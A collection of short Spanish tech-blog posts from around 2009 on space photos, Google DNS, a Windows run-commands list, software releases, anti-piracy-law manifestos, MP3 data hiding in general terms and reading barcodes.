El "paseito" lo realiza desde el Discovery al satélite Westar VI el 14 de noviembre de 1984. El trayecto lo realiza sin sujección y calculando el impulso del salto a "ojo de buen cubero"... y a la vuelta igual, pero con una pieza de metal de un metro de radio.

Después de estas temeridades la Nasa prohibió los paseos espaciales sin sujección. La nave estaba tripulada por él y por otro compañero,  los cuales son indispensables para devolver la Discovery a la Tierra.

Una imagen vale más que mil palabras. El video es realmente impresionante.

PS3 portátil, portátil

Impresionante, Robocop jugando a la PS3 :-). No te pierdas el vídeo.

Increible video promocional de Google Chrome

Visto en GeeksAreSexy

El bloguero analógico de Monrovia

Alfred Sirleaf es un liberiano que realiza una impresionate labor: trabaja para tratar de mantener informados a aquellos que no pueden comprar un diario, un televisor o acceder a Internet.

Dedica horas a transcribir en una pizarra, y con la única ayuda de una tiza, las noticias más interesantes que encuentra en la media docena de periódicos que compra diariamente.

La tasa de analfabetización es tan alta que muchas de las noticias las acompaña con dibujos y objetos que hacen referencia a ésta. Por ejemplo, cuando habla de guerra, cascos azules, Naciones Unidas y guerrillas utiliza los cascos y juega con ellos para que todo el mundo lo entienda. (foto inferior)

Astronauta fotografiado desde la Tierra en la ISS

 

No sólo podemos fotografiar la Estación Espacial Internacional (ISS), sino que incluso podemos ver a los astronautas que han salido al exterior para tareas de mantenimiento. Fotografiar la ISS desde la Tierra es un gran pasatiempo de los astrónomos aficionados, donde es todo un logro llegar a fotografiar alguno de sus módulos. Pues Rafl Vandebergh que vive en Holanda, ha fotografiado usando un telescopio de 25cm a la ISS y además a sus astronautas en el exterior, Joe Acaba y Steve Swanson el 21 de marzo de 2009.

Música navideña en 8 bits

Pues como la navidad se acerca, nada más geek que un poco de ambiente navideño en 8 bits.

Puedes comprar el Cd en su web original.

Las nuevas DNS de Google

Pues sí, ya las tenemos aquí, las DNS de Google. Para probarlas simplemente modifica en tu configuración de red local tengas el sistema que tengas, e introduce las siguientes DNS:

8.8.8.8

8.8.4.4

Puede (depende del proveedor que tengas) que sean mucho más rápido que las DNS de tu proveedor pero si eres un poco paranoico, Google ya no sabrá sólamente lo que buscas sino también donde navegas. En defensa de Google tienen una política de privacidad donde dicen que guardan las IP sólo 48 horas, no enlazan información con tu perfil de Google (Gmail, Calendar, etc ...) y sólo aprovecharán la información recibida a nivel de ciudades (no por usuarios).

Ubun-student

Ubun-student es una pequeña herramienta que te facilita mucho las cosas a la hora de trabajar con un sistema operativo Ubuntu Linux. Sin duda alguna, los más novatos lo van a agradecer.

Esta herramienta te hará la vida más fácil a la hora de instalar aplicaciones, configurar el sistema, trabajar con los repositorios de aplicaciones, etc. Y si ya eres un experto con Ubuntu, esta es la herramienta perfecta para recomendarle a aquellos que quieren iniciarse en Linux.

Poster de Tron Legacy

Visto en The FireWire

Foto de un cluster de PS3

Sabíamos que había clusters hechos con PS3 pero no había visto ninguno hasta hoy.

Impresiona sólo verlo.

Es de la Fuerza Aérea de los EEUU (laboratorios de investigación) en Rome (Nueva York). Son 336 consolas pero tienen 2200 más planificadas por pedir ...

¿Algo debe de tener la PS3 para que los EEUU se interesen por ella no?

Visto en Kotaku.

Ya estaba tardando

Droid, el teléfono de Motorola que lleva instalado Android ha sido desprotegido, o rooted, como diría un anglosajón. Esto implica el poder instalar otras ROMs y tomar control total sobre el dispositivo. Hasta la fecha no parece que haya una ROM que aproveche este terminal, pero tiempo al tiempo.

Más información en  Alldroid y Wired.

Visto en Lifehacker.

Manifiestos en pro de la piratería

GARCÍA LORCA

"No sólo de pan vive el hombre. Yo, si tuviera hambre y estuviera desvalido en la calle no pediría un pan; sino que pediría medio pan y un libro. Y yo ataco desde aquí violentamente a los que solamente hablan de reivindicaciones económicas sin nombrar jamás las reivindicaciones culturales que es lo que los pueblos piden a gritos. Bien está que todos los hombres coman, pero que todos los hombres sepan. Que gocen todos los frutos del espíritu humano porque lo contrario es convertirlos en máquinas al servicio de Estado, es convertirlos en esclavos de una terrible organización social."

Hackeos de Película

Seguramente el nombre de Mark Coleran no os suene de nada, pero este señor es el diseñador gráfico de las típicas pantallas espectaculares de hackeos, en plan colorines, en películas como The Bourne Identity, Misión Imposible 3, Sr y Sra Smith entre otras. Al que le han hecho una entrevista en Gizmodo. ¿Nunca te picó el gusanillo de sobre como se hacen dichas animaciones?

Se sortea "Experiencia CSI"

La gente de nopuedocreer.com realiza este extraño sorteo para conseguir dos entradas que su vez le han ragalado los de Alternative Xperience. Ésta es una página en la que se ofrece, no sólo el hotel o la casa rural en la que te alojarás, sino un sinfín de actividades emocionantes para poder hacer “algo diferente” durante la escapada. Yo pienso probarlo. ¿Creéis que sois capaces de ser CSI por un día?

Segunda jornada Macweekend de fotografía digital

Plazas abiertas para asistencia el día 12 en el Hotel Opera de Madrid (Calle Cuesta de Santo Domingo nº 2)

La agenda:

10 a 12 Introducción a la Fotografia Digital por Jordi Masague

12 a 14 Trabajando con Ligthroom por Mauro Fuentes

16 a 18 Fotografiando la música (cronicas desde el foso) por David Dúran

18 a 20 Principios básicos de Photoshop por Pedro Ample

Demoscene

Para aquellos aficionados a la demoscene que estén interesados en como se programan fractales, técnicas de renderizado, iluminación, etc. En la web Iñigo Quiles podéis encontrar mucha información de este tipo, así como demos, vídeos, etc. Que sin duda alguna es de gran valor, tanto para los no iniciados como los ya iniciados.

Brimstone Quadracycle

Éste sí se lo puedes pedir a papa noel, tuxotron. ;-)

¿Pero ésto pasa una ITV?

- V8 de 750 caballos.

- De 0 a 120 en 6 segundos.

Más info en autoblog.com

Las galaxias más lejanas, foto tomada con la …

 

Esta foto alucinante  (cerca de la luz  infrarroja) tomada por el Hubble este pasado més de Agosto con su cámara Wide Field 3, da mucho que pensar.  Fijáos en la impresionante cantidad de galaxias que aparecen (y es sólo una pequeña porción del firmamento). Aparte de la cantidad de galaxias, esta la foto tiene otro significado más importante aún, es la foto donde aparecen las galaxias más lejanas que conocemos y están formadas "sólo" 600 o 900 millones de años después del Big Bang (un 5% de su edad actual).

Carta por la Innovación, la Creatividad y el …

Nosotros, una amplia coalición de ciudadanos, usuarios, consumidores, organizaciones, artistas, hackers, miembros del movimiento por la cultura libre, economistas, abogados, profesores, estudiantes, investigadores, científicos, activistas, trabajadores, desempleados, emprendedores, creadores provenientes de más de 20 países

Invitamos a toda la ciudadanía a que haga suya esta Carta, a que la divulgue y a que la ponga en práctica.

Invitamos a todos los gobiernos, multinacionales e instituciones a que atiendan, comprendan e implementen urgentemente los contenidos de esta Carta

Google Chrome para Linux

Para aquellos usuarios de Linux que estén interesados en el navegador web de Google, ya está disponible la versión beta del mismo.

Windows Run Commands

Lista de programas en Windows y su correspondiente comando. Si no encuentras el icono que buscas, ya sabes que comando ejecutar desde la shell.

Windows Run Commands
Accessibility Controls	access.cpl
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs	appwiz.cpl
Administrative Tools	control admintools
Automatic Updates	wuaucpl.cpl
Bluetooth Transfer Wizard	fsquirt
Calculator	calc
Certificate Manager	certmgr.msc
Character Map	charmap
Check Disk Utility	chkdsk
Clipboard Viewer	clipbrd
Command Prompt	cmd
Component Services	dcomcnfg
Computer Management	compmgmt.msc
timedate.cpl	ddeshare
Device Manager	devmgmt.msc
Direct X Control Panel (If Installed)*	directx.cpl
Direct X Troubleshooter	dxdiag
Disk Cleanup Utility	cleanmgr
Disk Defragment	dfrg.msc
Disk Management	diskmgmt.msc
Disk Partition Manager	diskpart
Display Properties	control desktop
Display Properties	desk.cpl
Display Properties (w/Appearance Tab Preselected)	control color
Dr. Watson System Troubleshooting Utility	drwtsn32
Driver Verifier Utility	verifier
Event Viewer	eventvwr.msc
File Signature Verification Tool	sigverif
Findfast	findfast.cpl
Folders Properties	control folders
Fonts	control fonts
Fonts Folder	fonts
Free Cell Card Game	freecell
Game Controllers	joy.cpl
Group Policy Editor (XP Prof)	gpedit.msc
Hearts Card Game	mshearts
Iexpress Wizard	iexpress
Indexing Service	ciadv.msc
Internet Properties	inetcpl.cpl
IP Configuration (Display Connection Configuration)	ipconfig /all
IP Configuration (Display DNS Cache Contents)	ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)	ipconfig /flushdns
IP Configuration (Release All Connections)	ipconfig /release
IP Configuration (Renew All Connections)	ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)	ipconfig /registerdns
IP Configuration (Display DHCP Class ID)	ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)	ipconfig /setclassid
Java Control Panel (If Installed)	jpicpl32.cpl
Java Control Panel (If Installed)	javaws
Keyboard Properties	control keyboard
Local Security Settings	secpol.msc
Local Users and Groups	lusrmgr.msc
Logs You Out Of Windows	logoff
Microsoft Chat	winchat
Minesweeper Game	winmine
Mouse Properties	control mouse
Mouse Properties	main.cpl
Network Connections	control netconnections
Network Connections	ncpa.cpl
Network Setup Wizard	netsetup.cpl
Notepad	notepad
Nview Desktop Manager (If Installed)	nvtuicpl.cpl
Object Packager	packager
ODBC Data Source Administrator	odbccp32.cpl
On Screen Keyboard	osk
Opens AC3 Filter (If Installed)	ac3filter.cpl
Password Properties	password.cpl
Performance Monitor	perfmon.msc
Performance Monitor	perfmon
Phone and Modem Options	telephon.cpl
Power Configuration	powercfg.cpl
Printers and Faxes	control printers
Printers Folder	printers
Private Character Editor	eudcedit
Quicktime (If Installed)	QuickTime.cpl
Regional Settings	intl.cpl
Registry Editor	regedit
Registry Editor	regedit32
Remote Desktop	mstsc
Removable Storage	ntmsmgr.msc
Removable Storage Operator Requests	ntmsoprq.msc
Resultant Set of Policy (XP Prof)	rsop.msc
Scanners and Cameras	sticpl.cpl
Scheduled Tasks	control schedtasks
Security Center	wscui.cpl
Services	services.msc
Shared Folders	fsmgmt.msc
Shuts Down Windows	shutdown
Sounds and Audio	mmsys.cpl
Spider Solitare Card Game	spider
SQL Client Configuration	cliconfg
System Configuration Editor	sysedit
System Configuration Utility	msconfig
System File Checker Utility (Scan Immediately)	sfc /scannow
System File Checker Utility (Scan Once At Next Boot)	sfc /scanonce
System File Checker Utility (Scan On Every Boot)	sfc /scanboot
System File Checker Utility (Return to Default Setting)	sfc /revert
System File Checker Utility (Purge File Cache)	sfc /purgecache
System File Checker Utility (Set Cache Size to size x)	sfc /cachesize=x
System Properties	sysdm.cpl
Task Manager	taskmgr
Telnet Client	telnet
User Account Management	nusrmgr.cpl
Utility Manager	utilman
Windows Firewall	firewall.cpl
Windows Magnifier	magnify
Windows Management Infrastructure	wmimgmt.msc
Windows System Security Tool	syskey
Windows Update Launches	wupdmgr
Windows XP Tour Wizard	tourstart
Wordpad	write

Visto aqui.

RegExr

Las expresiones regulares son una de esas cosas que no uso a diario y que cuando las necesito pues nunca me acuerdo del significado de los patrones y siempre tengo que ir a la documentación, no importa como de simple es el patrón que necesito.

RegExr es una de esas utilidades que siempre tienes que tener a mano. Es una herramienta que te ayuda a definir en tiempo real el patrón de búsqueda. Hay dos versiones disponibles, una versión instalable en tu escritorio y la otra online.

Compra el módulo lunar (LEM) del Apolo a tamaño …

Pues sí, por sólo 89.000 dólares tendrás una réplica exacta a tamaño real del LEM de los Apolo.

Disponible con el diseño interior o no.

Puedes comprarlo en SpaceToys.com

Corre que se los quitan de las manos ;)

Generador de iconos tipo iPhone

Si tienes un iPhone y quieres poner tu diseño en las aplicaciones o te gustaría  generar iconos con el mismo diseño que los del iPhone, visita esta web:

FlavorStudios iPhone ico generator

Sólo tienes que subir la imágen de un mínimo de 256 pixeles de largo y alto, luego podrás elegir el tipo de brillo y efecto para el icono, y ya está. Luego te descargas el icono en varios formatos para poder usarlo en tu iPhone o donde quieras (por ejemplo una aplicación del ordenador).

FREE??

Encuentra los errores. ;-)

Que cara más dura tienen algunos.

Meteorito ilumina los cielos de Sudáfrica

Filmado en Gauteng, Sudáfrica, el 21 de Noviembre de 2009.

Increible.

Visto en Neatorama.

Ordenador completo ARM del tamaño de una memoria …

Exactamente del tamaño SO-DIMM (módulo RAM para portátiles), es un PC de 68x26mm cuyo microprocesador es el mismo que da potencia al iPhone, un ARM de 800 MHZ Cortex A8. TRITON TX51 tendrá soporte para Windows CE 6.0 y Linux 2.6 y llevará un kit de desarrollo llamado StarterKit-5 con 128MB de RAM de serie, USB y ethernet, que a su vez sirve de placa de entrada y salida.

Investigadores fabrican un transistor usando sólo …

 Investigadores de las Universidades de Tecnología de Finlandia y Melbourne (Australia) han conseguido fabricar un transistor operativo usando sólo un átomo de fósforo que atraviesa el transistor de silicio.

Esto supone un gran avance para la construcción de circuitos integrados, ya que estamos llegando al límite de la miniaturización provocando los llamados efectos cuánticos con funcionamientos imprevisibles.

De todas formas es invento más bien orientado a los nuevos ordenadores cuánticos que a los actuales.

61 aplicaciones gratuitas

En lifehacker nos ofrecen esta espectacular lista de 61 aplicaciones gratuitas (realizada por los lectores del blog)  que todos deberíamos conocer.

La lista completa con sus enlaces de descarga aquí.

Ver el cielo invisible con Chromoscope

Posiblemente no puedas ver Rayos X o infrarrojos, por lo que te estás perdiendo el aspecto que tiene la noche y el cielo en este espectro de la luz . Con esta aplicación online podrás verlos y cambiar de tipo de onda entre Rayos X, visible, Radio, etc ...

Puedes ver (e incluso descargar) Chromoscope aquí.

Visto en Universe Today.

Fotos de ordenadores sucios

Estoy seguro que la mayoría de vosotros (incluido yo) haríamos un álbum mejor que este ;)

Un día os contare la historia del hámster y la CPU …

Visto en TheRegister.

Mini Trailer de Buck Rogers

Buck Rogers para 2010.

Crayon Physics

Crayon Physics Deluxe from Petri Purho on Vimeo.

Si tienes una pantalla táctil podrás disfrutar de este fantástico juego con una física realmente espectacular. Tiene unos 70 niveles y además lleva un editor también. Cuesta un 20 dólares.

CrayonPhysics

Creador: Kloonigames

Estructuras de datos y algoritmos en Programación …

Bruno R. Preiss nos regala en su web una serie de libros sobre estructuras de datos y algoritmos en la programación orientada a objectos. No sólo eso, sino que además ha dispuesto dicha información basada en distintos lenguajes de programación tales como: C++, Python, Java, Ruby y C#. Prácticamente los lenguajes más usados en el desarrollo de aplicaciones de alto nivel.

El boletín Enigma

El boletín Enigma es una publicación en castellano sobre criptografía creada por Arturo Quirantes que además de criptografía, también habla sobre temas de seguridad informática para todos los niveles.

He estado mirando los números (no conocía esta publicación) y me he llevado una gran sorpresa y ya los tengo todos en mi Android para leerlos en cuanto pueda.

Muy recomendable, gracias Arturo por el esfuerzo.

Muy recomendable.

Virtual Box 3.1

El software de virtualización VirtualBox, del que ya hablamos en su día aquí, llega a su versión 3.1, donde las mejoras que nos ofrecen son realmente impresionantes. Por lo visto, presume de ser el primer sistema que ofrece “Teletransporte” entre máquinas con distinto sistema operativo, distinto tipo (cliente o servidor) e incluso distinta arquitectura de CPU, como Intel o AMD. Esto es, que permite mover una máquina virtual entre distintos hosts, mientras que ésta está corriendo. Otra de las mejoras el soporte 2D, eso sí, sólo para Windows. Esto implica que ahora puedes usar, por ejemplo Aero en un Windows 7 virtualizado. Otra interesante funcionalidad es la posibilidad de poder cambiar el modo de red en caliente, es decir, mientras la máquina virtual esta corriendo, sin necesidad de reiniciarla. Y por último, otra de las mejoras a destacar es que han acelerado el sistema en un 30%, además de mejor uso de los recursos como el disco duro o la memoria RAM.

Avatar Machine, más Realidad Aumentada

Avatar Machine [LONDON] 2008 from MARC OWENS on Vimeo.

Con este simulador, te pones un casco donde te ves a tí mismo (desde atrás) con tu armadura, espada y demás equipo (virtual), con un resultado en tiempo real espectacular.

Visto en BoingBoing.

Avatar Machine

OpenGTS

OpenGTS, de acuerdo con su web, es el primer proyecto de código abierto que provee seguimiento GPS a través de la web. Ideal para empresas de transportes.

Estas son algunas de las características que ofrece este producto:

• Autentificación basada en la web.
• Personalización del aspecto de las páginas. Cada usuario puede tener su propia plantilla.
• Personalización del servicio de mapas. Puedes usar Mapstraction, Google Maps o Microsoft Virtual Earth.
• Distintos tipos de informes, por vehículo, flotas, etc.
• Personalizaión de áreas. Puedes declarar una zona y cuando cierto vehículo llegue a cierta zona, el sistema puede enviar una notificación.
• Soporta distintos tipos de dispositivos GPS.
• Independiente del sistema operativo. El sistema esté escrito en Java, sobre MySQL y Tomcat.
• Soporte de diferentes idiomas.

Página oficial.

To shoot an elephant

To shoot an elephant: es, además de un relato de George Orwell que no debéis dejar de leer, una película documental rodada por Alberto Arce (y cía.) en la franja de Gaza durante el final del alto al fuego del día 16 de enero de 2009 entre Palestina e Israel.

En el documental un grupo de personas entran en la franja de Gaza el día 16 de enero queriendo grabar algunos testimonios de ciudadanos palestinos. Lo que se encuentran es una operación israelí denominada: Cast Lead (plomo fundido) y deciden grabar lo que allí ocurre.

Mono 2.5 para Android

Si tienes un terminal con Android y programas en C# o Mono directamente, este noticia que interesa, ya que hace un par de días se liberó la versión 2.5 de Mono para Android.y si no dispones de un terminal, siempre puedes programar en el emulador.

Desde aquí puedes acceder al proyecto y sus instrucciones de instalación.

Visto aquí.

El 20th cumpleaños de la revista Empire

Empire lo ha celebrado con esta galería espectacular de fotos donde grandes estrellas del cine "recrean"  a sus representaciones más conocidas.

Nos os la perdáis, son realmente geniales.

PD: dedicado a mi colega Jorge Mac.

Descodificando el documento Voynich

El que se crea un maestro en cripto que lo intente con esto

El manuscrito Voynich es un misterioso libro ilustrado, de contenidos desconocidos (hasta ahora), escrito hace unos 500 años por un autor anónimo en un alfabeto no identificado y un idioma incomprensible, el denominado voynichés.

Durante toda su existencia se ha intentado descifrar el contenido y jamás se consiguió. Muchos lo consideraron como una mentira o un pasatiempo sin sentido para reírse de los intelectuales. El caso es que el libro está tan lleno de detalles y parece tan completo (idiomática) que es difícil pensar que sea un bulo. El análisis estadístico del texto reveló patrones similares a los de lenguas naturales. Por ejemplo, la frecuencia de palabras sigue la Ley de Zipf y la entropía (alrededor de 10 bits por palabra) es similar a aquella de textos en latín.

Consigue un trozo de BattleStar Galactica en la …

Aún puedes conseguir un trozo de la historia de BattleStar Galactica en la subasta oficial. Desde mobiliario hasta trajes, pasando por tazas, escudos, etc ... puede ser tuyo si pujas adecuadamente.

Un buen método para sacar algo de dinero con el sobrante de la serie ¿hasta cuanto estarías dispuesto a pagar?

Página de la subasta:

http://www.battlestarprops.com/

Java Collections

Cualquier programador Java que se tercie, tiene que lidiar con las Collections en el día a día. Así que un dominio de dichas clases es fundamental. El otro día me encontré con un tutorial sobre las Collections, que merece la pena echarle un vistazo.

El mejor Assassin Creed, este de LittleBigPlanet

 

Adorable.

Visto en Kotaku.

Ecosia: ¿Un buscador "diferente"?

Ante la cada vez más evidente "microsoftización" de las políticas de google, se hace necesario darle donde más les duele, en el bolsillo. Es decir, elegir otro buscador.

Siempre ha habido un montón para elegir, aquí os presento uno de reciente creación:

Se llama Ecosia, según aparece en la noticia está aliado con Yahoo, Bing y WWF. Ellos mismos se definen como una página independiente y sin ánimo de lucro (eso se demuestra andando). Dicen que además de un buen servicio por cada consulta se salvan 2 metros cuadrados de la selva tropical (otra cosa que habrá que demostrar). Ya llevan "salvados", según, sus número 16.000 m^2. Muy rápido me parece a mi que va esto.

El Geek Errante, episodio 42

Como ya habían anunciado, los chicos de El Geek Errante han vuelto con su espectacular  podcast.

Puedes descargar su podcast número 42 desde aquí.

Contenido:

El Geek Errante episodio 42.

Suerte en vuestra vuelta compañeros.

En defensa de los derechos fundamentales de …

Nos unimos desde CyberHades a este manifiesto (desde Microsiervos):

Ante la inclusión en el Anteproyecto de Ley de Economía sostenible de modificaciones legislativas que afectan al libre ejercicio de las libertades de expresión, información y el derecho de acceso a la cultura a través de Internet, los periodistas, bloggers, usuarios, profesionales y creadores de internet manifestamos nuestra firme oposición al proyecto, y declaramos que:

1. Los derechos de autor no pueden situarse por encima de los derechos fundamentales de los ciudadanos, como el derecho a la privacidad, a la seguridad, a la presunción de inocencia, a la tutela judicial efectiva y a la libertad de expresión.
2. La suspensión de derechos fundamentales es y debe seguir siendo competencia exclusiva del poder judicial. Ni un cierre sin sentencia. Este anteproyecto, en contra de lo establecido en el artículo 20.5 de la Constitución, pone en manos de un órgano no judicial -un organismo dependiente del ministerio de Cultura-, la potestad de impedir a los ciudadanos españoles el acceso a cualquier página web.
3. La nueva legislación creará inseguridad jurídica en todo el sector tecnológico español, perjudicando uno de los pocos campos de desarrollo y futuro de nuestra economía, entorpeciendo la creación de empresas, introduciendo trabas a la libre competencia y ralentizando su proyección internacional.
4. La nueva legislación propuesta amenaza a los nuevos creadores y entorpece la creación cultural. Con Internet y los sucesivos avances tecnológicos se ha democratizado extraordinariamente la creación y emisión de contenidos de todo tipo, que ya no provienen prevalentemente de las industrias culturales tradicionales, sino de multitud de fuentes diferentes.
5. Los autores, como todos los trabajadores, tienen derecho a vivir de su trabajo con nuevas ideas creativas, modelos de negocio y actividades asociadas a sus creaciones. Intentar sostener con cambios legislativos a una industria obsoleta que no sabe adaptarse a este nuevo entorno no es ni justo ni realista. Si su modelo de negocio se basaba en el control de las copias de las obras y en Internet no es posible sin vulnerar derechos fundamentales, deberían buscar otro modelo.
6. Consideramos que las industrias culturales necesitan para sobrevivir alternativas modernas, eficaces, creíbles y asequibles y que se adecuen a los nuevos usos sociales, en lugar de limitaciones tan desproporcionadas como ineficaces para el fin que dicen perseguir.
7. Internet debe funcionar de forma libre y sin interferencias políticas auspiciadas por sectores que pretenden perpetuar obsoletos modelos de negocio e imposibilitar que el saber humano siga siendo libre.
8. Exigimos que el Gobierno garantice por ley la neutralidad de la Red, en España ante cualquier presión que pueda producirse, como marco para el desarrollo de una economía sostenible y realista de cara al futuro.
9. Proponemos una verdadera reforma del derecho de propiedad intelectual orientada a su fin: devolver a la sociedad el conocimiento, promover el dominio público y limitar los abusos de las entidades gestoras.
10. En democracia las leyes y sus modificaciones deben aprobarse tras el oportuno debate público y habiendo consultado previamente a todas las partes implicadas. No es de recibo que se realicen cambios legislativos que afectan a derechos fundamentales en una ley no orgánica y que versa sobre otra materia.

Actualizando Twitter y Facebook en su propia boda

Estoy seguro que al final se quedó solo en el altar ;)

Visto en Neatorama.

Nuevo Mazda Taiki en producción

El nuevo Taiki (atmósfera en japones) está basado en la línea Nagare (fluidez) y ha sido la estrella en el Salón Internacional del Automóvil de Madrid.

- Coeficiente aerodinámico: 0,25

- Propulsor rotativo Renesis de última generación parte delantera y tracción trasera.

- Cuatro metros y medio de largo, dos metros de ancho y un metro y veinte centímetros de alto.

- Distancia entre ejes: 3 metros

Desclasificadas 4000 fotos inéditas de la II …

Bombardeo sobre Berck Sur Mer

La RAF ha desclasificado 4000 fotografias realizadas desde aviones en misiones secretas. Están en el Archivo de Reconocimiento Aéreo Británico: http://aerial.rcahms.gov.uk

Sistema Mofiria en el primer lector de venas

Creo que cualquier informático (me incluyo) que se precie no ha dejado pasar la oportunidad de intentar engañar algún sistema de detección de huellas de un portátil o un teclado. De hecho es fácil usando un par de fixos y algo de imaginación (no voy a explicarlo). El Sistema Mofiria es la actualización de estos sistemas biométricos. El dispositivo USB graba la colocación de las venas de tus dedos por medio del uso de una luz infrarroja y una cámara con sensor CMOS. El primer lector de venas se llama FVA-U1 y ya ha comenzado su venta en Japón sólo para sistemas Windows. Adiós al fixo.

Evolución cadena alimenticia

No sé que es más raro: ver a un alien comiéndose a un zombie o a un zombie comiéndose una zanahoria, uhmmm...

Visto en puntogeek.com

Campaña en contra del preservativo (Intereconomía)

Sé que normalmente no solemos postear esta clase de videos, ni noticias aquí. Y también sé de que pie cojea ese "gran" canal llamado intereconomía. Pero es que hay cosas que es mejor mostrar:

Comento algunos detalles:

- ¿por qué si no sabes leer el preservativo puede ser un peligro? ¿Puedes intentar ponértelo en la cabeza?

- ¿A qué se refieren con "razones científicas" cuando dicen que éstas "ratifican las declaraciones del Papa"? ¿Están basadas en un "modelo científico"? ¿Hay algún estudio que las avale? Si es así, ¿Quién ha hecho ese estudio y de qué manera?

La teoría y realidad de Google Wave

Foto original.

CodeRun

Hace algún tiempo hablamos de Bespin, un IDE que desarrollado sobre la web. Pues Bespin ya tiene competidor, su nombre CodeRun.

CodeRun es un IDE de desarrollado que corre sobre el navegador. Actualmente trabaja con proyectos C#, JavaScript, PHP, HTML y CSS. Ahora mismo ofrecen 2 versiones, CodeRun Studio y CodeRun Cloud. La primera opción es gratuita y el IDE corre sobre tu navegador. La segunda, tienes una opción gratuita de 14 días de prueba, aunque también dispones de planes de pago que va desde los 10 dólares a los 169 mensuales. Esta versión corre en la nube en la cual dispones de varios servidores de aplicaciones como ASP.net, Silverlight, PHP, etc.

Dispensador de comida para gatos

Quien dice para gatos dice también para perros. Como podrás ver en el vídeo, además del dispensador, también necesitas infraestructura de red. Ya puedes alimentar a tus mascotas a través de Internet.

Más información en la web oficial.

Astrofotos: Vicent Peris

El mundo de la astronomía esta lleno de aficionados. Y en este caso no es nada malo. De hecho, se han hecho un hueco tan importante que muchas veces incluso la NASA hace llamamientos para que éstos trabajen en una determinada dirección.

Pues bien, hoy os quiero mostrar las fotos de un valenciano llamado Vicent Peris. Este "aficionado" realiza astrofotografías que ha sido premiadas en muchas ocasiones como la fotografía astronómica del día por la NASA. Aquí os pongo una de ellas:

MyEclipse 8.0

Hoy ha sido publicada una nueva versión de MyEclipse 8.0. Para el que no lo conozca, MyEclipse es el IDE de desarrollo Eclipse, cargado con todo tipo de plugins. lo cual te permite empezar a trabajar desde el mismo momento que lo instalas. Si has usado Eclipse anteriormente sabrás de lo que hablo. Algunas veces el sistema de plugins de Eclipse puede ser un verdadero infierno.

En esta nueva versión la anuncian como el primer depurador remoto del mundo para Internet Explorer, además de soporte nativo de WTP y mejoras tanto en Struts 2 como en UML 2. Otra apunte importante a tener en cuenta, es que esta versión viene montada sobre la última versión del IDE, 3.5.1.

Material de la ZaCon 09

ZaCon 09 es una conferencia sobre seguridad que se celebró el mes pasado en Sudáfrica. Todos los vídeos de la misma se encuentran disponible en Vimeo, así como la presentaciones que pueden ser descargadas desde la web oficial del evento.

Vídeos de apertura de los dibujos de Marvel

A continuación de enlazo con los vídeos con los que empezaban lo episodios de dibujos animados de Marvel, recientemente comprado por Disney. También incluyo las letras de las canciones.

Marvel Super Heroes (1966)

Meet the sulky over-bulky kinda’ hulky superhero A tuned – in – istic and electrically transistored superhero An exotically neurotic and aquatic superhero The Marvel Super Heroes have arrived!

Super powered from the forehead to the toes Watch them change their shape before your nose See a cane-striking superhero change to Viking superhero A humdingin’ real swinging shield flinging superhero Their the the latest their the greatest ultimatist superheroes The Marvel Super Heroes have arrived!

Remi Kart

Domingo tarde y sigue lloviendo, vamos a reirnos un rato.

"Daybreakers", una película de vampiros por fin

 

La última vez que ví una película de vampiros buena fue "Abierto hasta el amanecer", pero ahora con toda esta fiebre de peliculitas de vampiritos y hombrecitos lobito (¡huy que te muerdo!) con acné, es de agradecer que aparezca una película con tintes originales y más serios sobre esta temática.

El argumento ya es de por sí muy sugerente, esta vez son los vampiros los que domiman el mundo y los humanos sólo están almacenados para proveerlos de sangre ...

La máquina de clonar discos duros

Clonar un disco no es una tarea muy difícil (requiere algún programa y sobre todo mucha precaución) pero con este fantástico aparato se convertirá en una tarea trivial.  Aparte de ser una dock para discos duros, tiene la opción de clonarlos.  Y lo mejor no requiere ningún ordenador, simplemente lo conectas y clonas.

Parece que soporta discos duros de 2,5 " (ya tenemos el de la PS3 para clonar y el de los portátiles) y de 3,5 " (los de siempre), así como USB. Soporta seguro SATA pero parece que no soporta IDE.

Una canción (y un grupo) para una fría mañana de …

 Alucinante este grupo italiano llamado Port-Royal.

Enlaces en LastFM y MySpace.

¿A qué quieres oir más? ;)

anya: sehnsucht

severnaya

¡Bravo!

¿Por qué lleva Darth Vader una máscara?, la razón …

Darth Vader es quizás el personaje más conocido de la Ciencia Ficción. Ahora el legendario diseñador conceptual de la serie original (te recuerdo que sólo conozco tres películas de la Guerra de las Galaxias) de George Lucas, Ralph McQuarrie (actualmente tiene 80 años), nos recuerda la evolución, el motivo y función original de la máscara de Darh Vader:

" En los guiones originales, Darth Vader aparecía asaltando una nave espacial a través de un agujero en su estructura, con una túnica negra. Lo primero que pensé fue ¿no debería de tener algún aparato para poder respirar si está entrando en el vacío del Espacio?. Le pregunté a George y el dijo 'vale, le daremos una máscara para respirar'."

Ocultando información en un MP3

Un fichero MP3 es básicamente (muy básicamente) una sucesión de bloques o frames de datos compuestos de una cabecera y la información de audio. En los datos de la cabecera tenemos toda la información del sonido que luego se va a procesar, como su longitud, etc y todo el bloque de audio se comprime y descomprime usando el método de compresión Huffman. 

 Todos los datos fuera de estos frames del MP3 serán ignorados, por lo tanto es aquí donde podemos insertar toda la información que necesitemos, desde un simple texto plano, a otro fichero de audio, imágenes, etc ...

Mr Bounce, juego flash

Un juego divertido mezcla entre Pong y Arkanoid. También disponible para iPhone y iPod Touch.

Puedes echar una partidita aquí.

Visto en NeatOrama.

Bill Nye nos demuestra la distancia entre planetas

Interesante video realizado por Bill Nye, donde podrás ver una nueva perspectiva de la distancia y el tamaño de los planetas de nuestro Sistema Solar.

Visto es GeeksAreSexy.

Leyendo códigos de barra

Como mucho de ustedes sabrán, códigos de barras hay de varios tipos. Tenemos los lineales y los bi-dimensionales. Dentro de estas dos categorías tenemos varios tipos: EAN, Code 128, Code 39, etc. En la wikipedia tenéis más información sobre cada tipo.

En esta entrada voy a intentar explicar como leer un código de barras del tipo Code 39 con tus propios ojos.

El tipo Code 39 pertenece a la categoría lineal. De esos con barritas blancas y negras. Para simplificar nuestro ejemplo, trabajaremos sólo con números, aunque estos códigos también soportan caracteres alfanuméricos.

Documentos históricos sobre ciencias de la …

En el siguiente enlace podemos encontrar un recopilatorio de documentos que sientan muchos de los cimientos de lo que conocemos hoy como ciencias de la computación.

